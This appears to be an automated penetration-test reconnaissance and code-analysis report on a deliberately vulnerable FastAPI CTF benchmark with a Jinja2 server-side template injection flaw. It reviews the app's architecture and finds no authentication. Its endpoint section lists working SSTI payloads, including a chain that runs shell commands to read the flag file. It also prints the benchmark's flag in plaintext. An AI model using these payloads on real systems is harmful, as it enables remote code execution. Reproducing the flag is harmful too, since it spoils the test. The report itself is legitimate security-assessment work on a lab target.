# Pre-Reconnaissance Report

## Port Discovery (naabu)
Status: Skipped
[object Object]

## Network Scanning (nmap)
Status: success
Starting Nmap 7.97 ( https://nmap.org ) at 2025-10-29 13:00 -0700
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000030s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 996 closed tcp ports (conn-refused)
PORT      STATE SERVICE   VERSION
80/tcp    open  http      Caddy httpd
|_http-title: Site doesn't have a title.
|_http-server-header: Caddy
443/tcp   open  ssl/https
|_http-title: Site doesn't have a title.
631/tcp   open  ipp       CUPS 2.3
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Home - CUPS 2.3.4
|_http-server-header: CUPS/2.3 IPP/2.1
49152/tcp open  http      Golang net/http server
| fingerprint-strings: 
|   FourOhFourRequest, GetRequest, HTTPOptions: 
|     HTTP/1.0 401 Unauthorized
|     Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'none'; script-src-elem 'none'; script-src-attr 'none'
|     Content-Type: text/plain; charset=utf-8
|     Tailscale-Cap: 115
|     Tailscale-Version: 1.82.5-tdec88625e-gec2eb9730
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|     Date: Wed, 29 Oct 2025 20:00:20 GMT
|     Content-Length: 14
|     auth required
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|_    Request
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port49152-TCP:V=7.97%I=7%D=10/29%Time=69027254%P=arm-apple-darwin24.4.0
SF:%r(FourOhFourRequest,192,"HTTP/1\.0\x20401\x20Unauthorized\r\nContent-S
SF:ecurity-Policy:\x20default-src\x20'none';\x20frame-ancestors\x20'none';
SF:\x20script-src\x20'none';\x20script-src-elem\x20'none';\x20script-src-a
SF:ttr\x20'none'\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nTails
SF:cale-Cap:\x20115\r\nTailscale-Version:\x201\.82\.5-tdec88625e-gec2eb973
SF:0\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20DENY\r\n
SF:Date:\x20Wed,\x2029\x20Oct\x202025\x2020:00:20\x20GMT\r\nContent-Length
SF::\x2014\r\n\r\nauth\x20required\n")%r(GenericLines,67,"HTTP/1\.1\x20400
SF:\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\n
SF:Connection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(GetRequest,192,"H
SF:TTP/1\.0\x20401\x20Unauthorized\r\nContent-Security-Policy:\x20default-
SF:src\x20'none';\x20frame-ancestors\x20'none';\x20script-src\x20'none';\x
SF:20script-src-elem\x20'none';\x20script-src-attr\x20'none'\r\nContent-Ty
SF:pe:\x20text/plain;\x20charset=utf-8\r\nTailscale-Cap:\x20115\r\nTailsca
SF:le-Version:\x201\.82\.5-tdec88625e-gec2eb9730\r\nX-Content-Type-Options
SF::\x20nosniff\r\nX-Frame-Options:\x20DENY\r\nDate:\x20Wed,\x2029\x20Oct\
SF:x202025\x2020:00:20\x20GMT\r\nContent-Length:\x2014\r\n\r\nauth\x20requ
SF:ired\n")%r(HTTPOptions,192,"HTTP/1\.0\x20401\x20Unauthorized\r\nContent
SF:-Security-Policy:\x20default-src\x20'none';\x20frame-ancestors\x20'none
SF:';\x20script-src\x20'none';\x20script-src-elem\x20'none';\x20script-src
SF:-attr\x20'none'\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nTai
SF:lscale-Cap:\x20115\r\nTailscale-Version:\x201\.82\.5-tdec88625e-gec2eb9
SF:730\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20DENY\r
SF:\nDate:\x20Wed,\x2029\x20Oct\x202025\x2020:00:20\x20GMT\r\nContent-Leng
SF:th:\x2014\r\n\r\nauth\x20required\n")%r(RTSPRequest,67,"HTTP/1\.1\x2040
SF:0\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\
SF:nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.67 seconds


## Subdomain Discovery (subfinder)
Status: success
mail.localhost
mse-ca-mail.corp.mse.localhost
mail03.regency.localhost
sbs.allsaintsschool.localhost
tools.sonoma.edu.localhost
www.localhost
server02.counterintel.localhost
owa.regency.localhost
naeu2.naeuinc.localhost
autodiscover.localhost
mail02.regency.localhost
mail.regency.localhost
exchvm.nwcnet.localhost
fndlync01.5ninesdata.localhost
autodiscover.regency.localhost
server2.hunter.localhost


## Technology Detection (whatweb)
Status: success
[1m[34mhttp://localhost:45245[0m [200 OK] [1mBootstrap[0m[[1m[32m4.5.2[0m], [1mHTML5[0m, [1mHTTPServer[0m[[1m[36muvicorn[0m], [1mIP[0m[[0m[22m::1[0m], [1mTitle[0m[[1m[33mDirectory Listing[0m]

## Code Analysis
# Penetration Test Scope & Boundaries

**Primary Directive:** This analysis is strictly limited to the **network-accessible attack surface** of the application. All subsequent tasks must adhere to this scope. Before reporting any finding (e.g., an entry point, a vulnerability sink), verification was performed to ensure it meets the "In-Scope" criteria.

### In-Scope: Network-Reachable Components
A component is considered **in-scope** if its execution can be initiated, directly or indirectly, by a network request that the deployed application server is capable of receiving. This includes:
- Publicly exposed web pages and API endpoints.
- Endpoints requiring authentication via the application's standard login mechanisms.
- Any developer utility, debug console, or script that has been mistakenly exposed through a route or is otherwise callable from other in-scope, network-reachable code.

### Out-of-Scope: Locally Executable Only
A component is **out-of-scope** if it **cannot** be invoked through the running application's network interface and requires an execution context completely external to the application's request-response cycle. This includes tools that must be run via:
- A command-line interface (e.g., `go run ./cmd/...`, `python scripts/...`).
- A development environment's internal tooling (e.g., a "run script" button in an IDE).
- CI/CD pipeline scripts or build tools (e.g., Dagger build definitions).
- Database migration scripts, backup tools, or maintenance utilities.
- Local development servers, test harnesses, or debugging utilities.
- Static files or scripts that require manual opening in a browser (not served by the application).

---

## 1. Executive Summary

The target application (XBEN-053-24) is a deliberately vulnerable security benchmark challenge featuring a minimalist FastAPI-based web service. The application consists of only 38 lines of Python code but contains a **CRITICAL Server-Side Template Injection (SSTI)** vulnerability that enables remote code execution. This application represents an extremely high-risk security posture with zero authentication mechanisms, no authorization controls, and no security hardening whatsoever.

From a penetration testing perspective, this application presents a textbook example of catastrophic security failures. The SSTI vulnerability in the root endpoint (`GET /`) allows unauthenticated attackers to execute arbitrary Python code through Jinja2 template injection. Combined with the exposed directory listing functionality and a hardcoded CTF flag stored at `/app/flag.txt`, the application provides multiple attack vectors that can be exploited with minimal effort. The lack of any defensive controls—no rate limiting, no input validation, no security headers, and no logging—makes this an ideal target for demonstrating exploitation techniques in a controlled CTF environment.

The architectural security decisions (or lack thereof) reveal a complete absence of defense-in-depth principles. The application runs as root within a Docker container with an unlimited resource allocation, binds to all network interfaces, and exposes auto-generated API documentation that maps the entire attack surface. For a penetration testing team, this application offers a straightforward path from initial reconnaissance to full compromise: identify the SSTI vulnerability, craft a template injection payload to read `/app/flag.txt`, and extract the flag value. The absence of Web Application Firewall (WAF), intrusion detection, or any monitoring mechanisms ensures that exploitation attempts will go undetected.

---

## 2. Architecture & Technology Stack

### Framework & Language

The application is built using **FastAPI 0.116.0**, a modern Python 3.9.24-based ASGI web framework maintained by Sebastián Ramírez. FastAPI is deployed on **Uvicorn 0.35.0**, a lightning-fast ASGI server that runs as PID 1 within the container and listens on port 80 with the command `uvicorn main:app --host 0.0.0.0 --port 80`. The underlying ASGI implementation is provided by **Starlette 0.46.2**, which handles the request/response lifecycle and routing primitives. Gunicorn 23.0.0 is available in the container but not actively used in the current deployment configuration.

From a security perspective, FastAPI's automatic OpenAPI documentation generation is enabled by default, exposing interactive API documentation at `/docs` (Swagger UI) and `/redoc` (ReDoc), along with the complete API schema at `/openapi.json`. This represents an information disclosure vulnerability as it provides attackers with a comprehensive map of all endpoints, parameters, and data models without requiring authentication. The framework uses **Jinja2 3.1.6** as its template engine—critically, the application creates a raw Jinja2 `Environment()` without autoescape enabled, directly leading to the SSTI vulnerability detailed in later sections.

The application leverages **Pydantic 2.12.3** for data validation capabilities, though remarkably, no Pydantic models are actually implemented in the codebase, leaving all user input completely unvalidated. Additional dependencies include `python-dotenv 1.1.1` for environment variable management, `itsdangerous 2.2.0` (cryptographic signing library that remains completely unused), `httpx 0.28.1` (HTTP client library with no invocations), and `email-validator 2.3.0` (also unused). This gap between available security libraries and their actual implementation demonstrates a fundamental disconnect in the security architecture.

### Architectural Pattern

This is a **simple monolithic web application** with absolutely no service decomposition or microservices architecture. The entire application consists of a single 38-line Python file (`/app/main.py`) deployed within a single Docker container. The container architecture reveals critical security weaknesses: the application runs as **root (uid=0, gid=0)** with no USER directive in the Dockerfile, providing any code execution vulnerability (such as the SSTI) with immediate root-level privileges within the container. The container runs with a writable root filesystem (ReadonlyRootfs: false), unlimited memory and CPU allocations, and binds to `0.0.0.0:45245` on the host, exposing the service to all network interfaces.

The directory structure is deliberately minimal:
```
/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/
├── app/
│   ├── Dockerfile               # Container build with FLAG injection
│   ├── flag.txt                 # TARGET: Contains CTF flag
│   ├── main.py                  # 38-line vulnerable application
│   └── templates/
│       └── index.html           # Directory listing template
├── benchmark.json               # CTF challenge metadata
├── docker-compose.yml           # Orchestration config
├── Makefile                     # Build automation
└── .env                         # EXPOSED: Contains flag value
```

The trust boundary analysis reveals a completely flat security model with zero defensive layers. The data flow is: `Internet → Port 45245 → Uvicorn → FastAPI Application → File System`, with no authentication gateway, no security middleware, no request validation layer, and no privilege separation. Every endpoint is publicly accessible, and successful exploitation of the SSTI vulnerability grants direct file system access with root privileges. The Dockerfile exposes additional attack surface through build-time flag injection: `ARG FLAG` followed by `RUN sed -i s/FLAG/$FLAG/g flag.txt`, which bakes the secret into image layers and makes it recoverable through image history inspection even after the container is destroyed.

### Critical Security Components

The security component analysis reveals a catastrophic absence of all fundamental security controls. **No authentication mechanisms exist**—there are no login endpoints, no user management, no session handling, no token validation, and no API key requirements. The application imports zero authentication libraries (no python-jose, no pyjwt, no passlib, no bcrypt, no cryptography modules). **No authorization checks** are implemented—there is no RBAC, no ABAC, no ACL, no permission validation, and no ownership checks. All endpoints, including the vulnerable SSTI endpoint and the directory listing functionality, are exposed to unauthenticated public access.

**Session management is completely absent**—no session cookies, no session store, no Redis/Memcached integration, and no session middleware. The application is entirely stateless with no concept of user identity or session tracking. **CSRF protection is non-existent**, though this is somewhat mitigated by the lack of state-changing operations. **Security headers are missing entirely**: no Content-Security-Policy, no X-Frame-Options (exposing clickjacking risk), no X-Content-Type-Options, no Strict-Transport-Security, no X-XSS-Protection, and no Referrer-Policy. The application leaks its technology stack through the `server: uvicorn` header in every response.

**CORS middleware is not configured**, resulting in default same-origin policy with no explicit cross-origin controls. Testing confirmed the absence of `Access-Control-Allow-Origin` headers. **Rate limiting is completely absent**—no request throttling, no IP-based limits, no endpoint-specific rate limits, no slowloris protection, making the application vulnerable to brute-force attacks and resource exhaustion DoS. No Web Application Firewall (WAF), no ModSecurity, no request filtering, no payload inspection, no anomaly detection, and no security middleware of any kind is registered in the FastAPI application stack.

The most critical vulnerability exists at lines 31-32 of `/app/main.py`:
```python
jinja2_env = Environment()  # autoescape=False by default
output = jinja2_env.from_string("Welcome " + username + "!").render()
```

This creates a Jinja2 Environment **without autoescape**, directly embeds user input from the `username` query parameter into a template string, and uses `from_string()` to process it—the textbook pattern for Server-Side Template Injection. The attack surface is fully exposed through the root endpoint (`GET /`) which accepts the `username` parameter with zero validation, no length limits, no character whitelisting, and no encoding checks. Exploitation payloads like `{{7*7}}` successfully evaluate to `49`, confirming arbitrary code execution capabilities.

---

## 3. Authentication & Authorization Deep Dive

### Authentication Mechanisms

The application contains **ZERO authentication mechanisms** of any kind. A comprehensive analysis of the entire 38-line codebase (`/app/main.py`) confirms the complete absence of authentication infrastructure. There are no authentication endpoints—no login, no logout, no registration, no password reset, and no token refresh endpoints exist in the application. The authentication method is effectively "none"—no session-based authentication, no JWT tokens, no OAuth/OIDC flows, no API keys, no HTTP Basic/Digest authentication, and no bearer tokens are implemented or validated.

From a security architecture perspective, this represents a complete failure of the AAA (Authentication, Authorization, Accounting) model. The application imports no authentication libraries whatsoever—searches for `python-jose`, `pyjwt`, `passlib`, `bcrypt`, `argon2`, and `cryptography` all return zero results. There is no password hashing implementation (no algorithms like bcrypt, argon2, PBKDF2, or scrypt), which is unsurprising given that no passwords or user credentials are stored. Multi-factor authentication (MFA) is not implemented, account lockout mechanisms do not exist, and password complexity requirements are not applicable as the application has no concept of user accounts.

**List of Authentication API Endpoints:** NONE. Zero authentication endpoints exist in this application.

The function signatures for both endpoints confirm the lack of authentication requirements:
- `GET /` at line 26: `async def read_root(request: Request, username=None)` - No authentication decorators, no dependency injection of security schemes, no token validation
- `GET /ping` at line 36: `def ping()` - Completely unauthenticated health check endpoint

FastAPI provides robust authentication capabilities through its dependency injection system (e.g., `HTTPBearer`, `OAuth2PasswordBearer`), but none of these are utilized. The application could easily implement authentication with:
```python
from fastapi.security import HTTPBearer
security = HTTPBearer()

@app.get("/")
async def read_root(credentials: str = Depends(security)):
    # Authentication logic here
```
However, no such implementation exists. This architectural decision (or oversight) means that all functionality, including the SSTI vulnerability and directory listing, is accessible to any network-based attacker without any identity verification.

### Session Management and Token Security

**Session cookie configuration:** NOT APPLICABLE—no session management exists in this application. Searches for session-related code (`session`, `cookie`, `Set-Cookie`, `HttpOnly`, `Secure`, `SameSite`) return zero results across the entire codebase. The application does not create, validate, or destroy sessions. No session storage mechanism (cookies, Redis, Memcached, database-backed sessions) is implemented. Session timeout configuration, session invalidation on logout, and session fixation protections are all non-existent because the application has no concept of sessions.

**Session cookie flags configuration location:** NONE—no code exists to configure `HttpOnly`, `Secure`, or `SameSite` flags because no cookies are used.

**CSRF protection implementation:** NONE—no CSRF tokens are generated, validated, or checked. However, the application's completely stateless nature and lack of state-changing operations somewhat mitigate traditional CSRF risks. That said, the SSTI vulnerability could potentially be exploited via CSRF if an attacker could trick an authenticated user into visiting a malicious page that sends a GET request with a payload in the `username` parameter—though the lack of authentication makes this a moot point.

**JWT/Token implementation:** COMPLETELY ABSENT. No JWT generation, no JWT validation, no token signing algorithms (HS256, RS256, etc.), no token expiration configuration, no refresh token handling, and no token storage mechanisms exist. Searches for `jwt`, `token`, `bearer`, `authorization` in the codebase return zero results. The application could benefit from implementing JWT-based authentication using libraries like `python-jose` or `pyjwt`, but neither is present in the dependency tree or imported in the code.

From a penetration testing perspective, the absence of authentication and session management is actually advantageous for attackers. There is no need to bypass authentication controls, steal session tokens, or perform session hijacking attacks. The SSTI vulnerability and all other attack vectors are directly accessible to unauthenticated attackers, significantly reducing the attack complexity. This represents a CVSS Attack Complexity of "Low" and Privileges Required of "None," contributing to the critical severity rating.

### Authorization Model and Bypass Scenarios

**Authorization model:** NONE—no role-based access control (RBAC), no attribute-based access control (ABAC), and no access control lists (ACLs) are implemented. The authorization model is effectively "allow all" with zero permission checks. Searches for `rbac`, `permission`, `role`, `authorize`, `access_control`, `@requires`, `@permission` across the entire codebase return zero results. No authorization middleware exists, no decorators enforce access control, and no permission validation logic is present in any endpoint handler.

The FastAPI framework provides authorization capabilities through dependency injection and security schemes, but none are utilized:
```python
# NOT IMPLEMENTED - No code like this exists:
from fastapi import Depends, HTTPException

def check_admin(user = Depends(get_current_user)):
    if not user.is_admin:
        raise HTTPException(status_code=403, detail="Forbidden")

@app.get("/admin")
async def admin_endpoint(user = Depends(check_admin)):
    pass
```

**Potential bypass scenarios:** Given that no authorization checks exist, there are no authorization controls to bypass. Every endpoint is publicly accessible with no privilege escalation required. The root endpoint with the SSTI vulnerability (`GET /`), the health check endpoint (`GET /ping`), and the auto-generated API documentation (`/docs`, `/redoc`, `/openapi.json`) are all accessible without any authentication or authorization checks. An attacker can directly exploit the SSTI vulnerability without needing to:
- Steal credentials
- Escalate privileges from a low-privilege user to admin
- Bypass permission checks
- Manipulate authorization tokens
- Exploit insecure direct object references (IDOR)

### Multi-tenancy Security Implementation

**Multi-tenancy:** NOT APPLICABLE—this application has no multi-tenant architecture. Searches for `tenant_id`, `organization_id`, `account_id`, `workspace_id` return zero results. There is no tenant identification mechanism, no database-level isolation (the application has no database), no row-level security, no tenant-specific query filters, and no cross-tenant data leakage prevention mechanisms. The application is a single-instance service with no concept of organizational or tenant boundaries.

### SSO/OAuth/OIDC Flows

**SSO/OAuth/OIDC implementation:** COMPLETELY ABSENT—no Single Sign-On, OAuth, or OpenID Connect flows are implemented. Searches for `oauth`, `oidc`, `sso`, `.well-known`, `discovery`, `jwks` return zero results. There are no OAuth callback endpoints, no authorization code flows, no token exchange mechanisms, and no third-party authentication provider integrations (no Google, GitHub, Microsoft, Okta, Auth0, etc.).

**Callback endpoints:** NONE exist in the application.

**State parameter validation:** NOT APPLICABLE—no OAuth flows means no state parameter to validate. In a properly implemented OAuth flow, the `state` parameter should be validated at the callback endpoint to prevent CSRF attacks, but this application has no such endpoint.

**Nonce parameter validation:** NOT APPLICABLE—no OIDC flows means no nonce parameter to validate. The nonce parameter in OIDC is used to prevent token replay attacks, but this application has no token issuance or validation logic.

For penetration testers, this means there are no OAuth-related attack vectors to explore (no authorization code interception, no redirect_uri manipulation, no state parameter CSRF exploitation, no token leakage through referrer headers, and no PKCE bypass opportunities). The attack surface is limited to the direct application endpoints, with the primary target being the SSTI vulnerability.

---

## 4. Data Security & Storage

### Database Security

**Database Implementation:** NONE—This application has **no database** of any kind. Comprehensive searches for database connection strings (`postgresql://`, `mysql://`, `mongodb://`, `sqlite://`), ORM frameworks (SQLAlchemy, Sequelize, Mongoose, Django ORM), database configuration files, and SQL query operations all returned zero results. The application does not connect to PostgreSQL, MySQL, MongoDB, SQLite, Redis, or any other data persistence layer. No database credentials exist, no connection pooling is configured, no database access controls are implemented, and no encryption-at-rest settings are present because there is no database to secure.

The absence of a database significantly reduces certain attack vectors for penetration testers. There are no SQL injection vulnerabilities to exploit (no queries to inject into), no database credential theft opportunities, no privilege escalation through database roles, no NoSQL injection attacks, and no database backup exfiltration possibilities. However, this also means there is no persistent storage for user data, session information, or audit logs, which contributes to the overall lack of security controls. From an architectural perspective, the application appears designed as an ephemeral challenge service where the only persistent data is the flag file baked into the container image during build time.

### Data Flow Security

**Sensitive Data Processing:** The only "sensitive" data in this application is the **CTF flag**, which exists in three locations:

1. **Environment File** (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/.env`, line 1):
   ```
   FLAG="flag{e7f1e7e4-3abe-4643-9d9e-e64a767bca8b}"
   ```
   This file is version-controlled and contains the flag in plaintext, representing a critical secret management failure. The flag is exposed in the Git repository, making it accessible to anyone with repository access.

2. **Docker Build Argument** (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/docker-compose.yml`, lines 5-6 and `/app/Dockerfile`, lines 6-8):
   The flag is passed as a build argument and then baked into the image:
   ```dockerfile
   ARG FLAG
   RUN sed -i s/FLAG/$FLAG/g flag.txt
   ```
   This approach has critical security implications: the flag becomes part of the Docker image layers and can be extracted from image history using `docker history` or by inspecting intermediate layers, even after the container is stopped and removed.

3. **Flag File in Container** (`/app/flag.txt`):
   During the build process, the placeholder text "FLAG" in flag.txt is replaced with the actual flag value. This file is readable by the application process (running as root), making it a prime target for file read exploits like the SSTI vulnerability.

**Data Flow Path:**
```
.env file (plaintext) 
    → Docker build argument 
    → sed substitution into flag.txt 
    → Container image layer 
    → /app/flag.txt in running container
```

The data flow security analysis reveals multiple critical weaknesses. First, the flag has no encryption at any stage—it exists in plaintext in the .env file, plaintext in the build argument, and plaintext in the final image. Second, there is no input validation on the `username` parameter that could be used to read flag.txt through SSTI. Third, there is no output sanitization—if flag.txt is read and returned in an HTTP response, it will be transmitted in cleartext over HTTP (no HTTPS enforcement). Fourth, there is no audit logging to detect when the flag file is accessed or exfiltrated.

From a penetration testing perspective, the data flow provides multiple attack paths:
1. **Primary vector:** Exploit SSTI to execute `open('/app/flag.txt').read()` and return the flag in the HTTP response
2. **Alternative vector:** Use the directory listing functionality (GET / without username parameter) to confirm flag.txt exists, then exploit SSTI to read it
3. **Container escape vector:** If SSTI allows shell command execution, use `cat /app/flag.txt` to read the flag
4. **Docker image inspection:** Pull the image and examine layers to extract the flag from image history

The complete absence of encryption, access controls, and monitoring makes flag exfiltration trivial once the SSTI vulnerability is exploited. No data loss prevention (DLP) mechanisms exist to detect or prevent flag exfiltration.

### Multi-tenant Data Isolation

**Multi-tenancy:** NOT APPLICABLE—This application has no multi-tenant architecture. There are no tenant boundaries, no organizational separation, no per-tenant databases, no row-level security, and no tenant_id fields in queries (because there are no queries). The application is a single-instance service with no concept of data isolation between different users or organizations. Cross-tenant data leakage is not a concern because there are no tenants to separate.

For penetration testing purposes, this means there are no horizontal privilege escalation opportunities (accessing another tenant's data), no tenant isolation bypass vulnerabilities, and no need to test for cross-tenant information disclosure. The attack surface is limited to the single application instance and its exposed endpoints.

---

## 5. Attack Surface Analysis

### External Entry Points

The application exposes **two explicit HTTP endpoints** plus **three auto-generated FastAPI documentation endpoints**, all of which are network-accessible and require no authentication. Each endpoint represents a potential attack vector, though the risk levels vary significantly:

#### **Endpoint 1: Root Endpoint (GET /) - CRITICAL VULNERABILITY**
- **File Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/app/main.py`, lines 25-33
- **Function Signature:** `async def read_root(request: Request, username=None)`
- **HTTP Method:** GET
- **Route Pattern:** `/`
- **Authentication:** Public (no authentication required)
- **Authorization:** None (no permission checks)
- **Input Parameters:**
  - `username` (query parameter, optional, string type, NO validation, NO length limits, NO character restrictions)
- **Functionality:**
  - **Without `username` parameter:** Returns a Jinja2-rendered template displaying a recursive directory listing of the current working directory (`.`), exposing the file system structure including `flag.txt`, `main.py`, `templates/`, and `Dockerfile`
  - **With `username` parameter:** Creates a Jinja2 Environment with autoescape disabled, concatenates the user-supplied `username` directly into a template string `"Welcome " + username + "!"`, and renders it using `from_string()` before returning as an HTMLResponse

**CRITICAL VULNERABILITY:** This endpoint contains a textbook **Server-Side Template Injection (SSTI)** vulnerability. The vulnerable code at lines 31-32:
```python
jinja2_env = Environment()  # autoescape=False by default - UNSAFE
output = jinja2_env.from_string("Welcome " + username + "!").render()
```

**Attack Vectors:**
1. **Template Injection for RCE:**
   - Payload: `/?username={{7*7}}` → Returns "Welcome 49!" (confirms SSTI)
   - Payload: `/?username={{config}}` → Leaks Python configuration objects
   - Payload: `/?username={{''.__class__.__mro__[1].__subclasses__()}}` → Enumerates Python classes for RCE chain
   - Payload: `/?username={{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('cat /app/flag.txt').read()}}` → Direct flag exfiltration

2. **Information Disclosure:**
   - Payload: `/?username={{self}}` → Leaks template context
   - Payload: `/?username={{request}}` → Exposes request object details

3. **Directory Listing Exposure:**
   - Request: `GET /` (no username) → Returns complete directory structure, revealing application layout and flag.txt location

**Security Gaps:**
- No input validation (no Pydantic models, no regex constraints, no length limits)
- No output sanitization (raw HTMLResponse with no escaping)
- No rate limiting (unlimited exploitation attempts)
- No WAF or request filtering
- No monitoring or alerting for SSTI patterns

**Network Accessibility:** YES - Exposed on port 45245 (host) → port 80 (container), bound to 0.0.0.0 (all interfaces)

#### **Endpoint 2: Health Check Endpoint (GET /ping) - LOW RISK**
- **File Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/app/main.py`, lines 36-38
- **Function Signature:** `def ping()`
- **HTTP Method:** GET
- **Route Pattern:** `/ping`
- **Authentication:** Public (no authentication required)
- **Input Parameters:** None
- **Response:** Static JSON: `{"ping": "pong"}`
- **Purpose:** Docker healthcheck endpoint (referenced in docker-compose.yml: `curl -f http://localhost/ping`)
- **Security Assessment:** LOW RISK - This endpoint has no user input, no sensitive data exposure, and no dangerous operations. However, it reveals that the service is running and responsive, which is useful for reconnaissance but not directly exploitable. The lack of rate limiting could allow this endpoint to be used for application-layer DoS attacks by flooding it with requests.

#### **Endpoint 3: Interactive API Documentation (GET /docs) - INFORMATION DISCLOSURE**
- **Route Pattern:** `/docs`
- **HTTP Method:** GET
- **Auto-Generated:** YES (FastAPI default, not disabled)
- **Purpose:** Swagger UI interactive API documentation interface
- **Security Risk:** **MEDIUM** - Exposes complete API structure, endpoint paths, parameter names, data types, and example requests to unauthenticated users. Attackers can use this to map the attack surface without any fuzzing or brute-forcing. In production environments, API documentation should be disabled or protected behind authentication.

#### **Endpoint 4: OpenAPI Schema (GET /openapi.json) - INFORMATION DISCLOSURE**
- **Route Pattern:** `/openapi.json`
- **HTTP Method:** GET
- **Auto-Generated:** YES (FastAPI default, dynamically generated)
- **Purpose:** Machine-readable OpenAPI 3.0 schema definition
- **Security Risk:** **MEDIUM** - Provides structured JSON describing all endpoints, parameters, request/response schemas, and data models. Attackers can parse this to automatically generate exploitation scripts or integrate with automated vulnerability scanners. This endpoint should be disabled in production or protected with authentication.

#### **Endpoint 5: Alternative API Documentation (GET /redoc) - INFORMATION DISCLOSURE**
- **Route Pattern:** `/redoc`
- **HTTP Method:** GET
- **Auto-Generated:** YES (FastAPI default, alternative documentation renderer)
- **Purpose:** ReDoc-styled API documentation (more aesthetically pleasing than Swagger UI)
- **Security Risk:** **MEDIUM** - Same information disclosure as `/docs`, just rendered with a different UI. Both endpoints should be disabled together.

**Disabling Auto-Generated Documentation:**
FastAPI allows disabling these endpoints during initialization, but this was not done:
```python
# CURRENT (INSECURE):
app = FastAPI()

# SHOULD BE (SECURE):
app = FastAPI(docs_url=None, redoc_url=None, openapi_url=None)
```

### Internal Service Communication

**Finding:** NOT APPLICABLE—This is a single-container monolithic application with no internal service-to-service communication. There are no microservices, no message queues (RabbitMQ, Kafka), no service mesh (Istio, Linkerd), no internal APIs, and no inter-process communication channels beyond the single Uvicorn worker serving HTTP requests. Trust relationships between services do not exist because there is only one service. The security boundary is simply: `External Network ↔ Uvicorn/FastAPI ↔ Local File System`.

For penetration testers, this means there are no lateral movement opportunities within the application architecture, no service-to-service authentication to bypass, and no internal API endpoints to discover beyond the publicly exposed HTTP routes. The entire attack surface is the five HTTP endpoints documented above.

### Input Validation Patterns

**Input Validation Status:** CATASTROPHIC FAILURE—Despite having Pydantic 2.12.3 (a powerful data validation library) installed and available, **ZERO input validation is implemented** in the application code. The `username` parameter in the root endpoint accepts completely unconstrained user input:

```python
# Line 26 - NO validation whatsoever:
async def read_root(request: Request, username=None):
```

**Missing Validation Mechanisms:**
1. **No Pydantic models** - No use of FastAPI's request validation through Pydantic BaseModel classes
2. **No type constraints** - The `username` parameter accepts any string value with no type enforcement beyond Python's basic string type
3. **No length limits** - No maximum length constraint, allowing arbitrarily long payloads that could cause buffer-related issues or DoS
4. **No character whitelisting** - No regex pattern to restrict allowed characters (e.g., alphanumeric only)
5. **No encoding validation** - No checks for valid UTF-8 or character encoding issues
6. **No format validation** - No email validators, URL validators, or format constraints
7. **No sanitization** - No removal of dangerous characters, no HTML entity encoding, no template escape sequences

**Proper Implementation Would Look Like:**
```python
from pydantic import BaseModel, constr, Field

class UsernameQuery(BaseModel):
    username: constr(
        min_length=1,
        max_length=50,
        regex="^[a-zA-Z0-9_-]+$"
    ) = Field(..., description="Alphanumeric username only")

@app.get("/")
async def read_root(query: UsernameQuery):
    # Now username is validated before reaching this code
```

**Current Exploitation Potential:**
The complete lack of input validation enables multiple attack vectors:
- **SSTI payloads:** `{{7*7}}`, `{{config}}`, `{{''.__class__}}` all bypass non-existent filters
- **Arbitrarily long strings:** No length limit means potential DoS through memory exhaustion
- **Special characters:** `<`, `>`, `'`, `"`, `{`, `}`, `` ` `` are all accepted without escaping
- **Null bytes, Unicode exploitation:** No character set validation

For penetration testers, this absence of input validation means that exploitation payloads can be sent directly without any encoding, obfuscation, or bypass techniques. Standard SSTI payloads from public exploits will work without modification, and there are no input filters to evade.

### Background Processing

**Background Job Systems:** NONE DETECTED—Searches for common async job processing frameworks returned zero results:
- **Celery:** Not installed, not imported, no worker configurations
- **RQ (Redis Queue):** Not installed, no Redis connection
- **Huey:** Not detected
- **Dramatiq:** Not detected
- **APScheduler:** Not detected

**Async Processing:** While FastAPI supports async/await syntax (the `read_root` function is marked `async`), this is only for handling concurrent HTTP requests within Uvicorn, not for background job processing. There are no background tasks triggered by network requests, no job queues processing user-submitted data, no scheduled tasks, no webhooks that enqueue background work, and no deferred processing of uploads or imports.

From a penetration testing perspective, this means there are no background job deserialization vulnerabilities (no pickle/YAML deserialization attacks), no job queue poisoning attacks, no delayed execution exploitation, and no worker process privilege escalation opportunities. All attack vectors must be exploited in real-time through synchronous HTTP requests.

---

## 6. Infrastructure & Operational Security

### Secrets Management

**Secrets Management Implementation:** CRITICAL FAILURE—The application uses **plaintext secrets stored in version-controlled files** with no encryption, no secrets rotation, and no secure secret management system. This represents one of the most severe security anti-patterns in modern application deployment.

**Secret Storage Locations:**

1. **Environment File** (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-053-24/.env`):
```bash
FLAG="flag{e7f1e7e4-3abe-4643-9d9e-e64a767bca8b}"
```
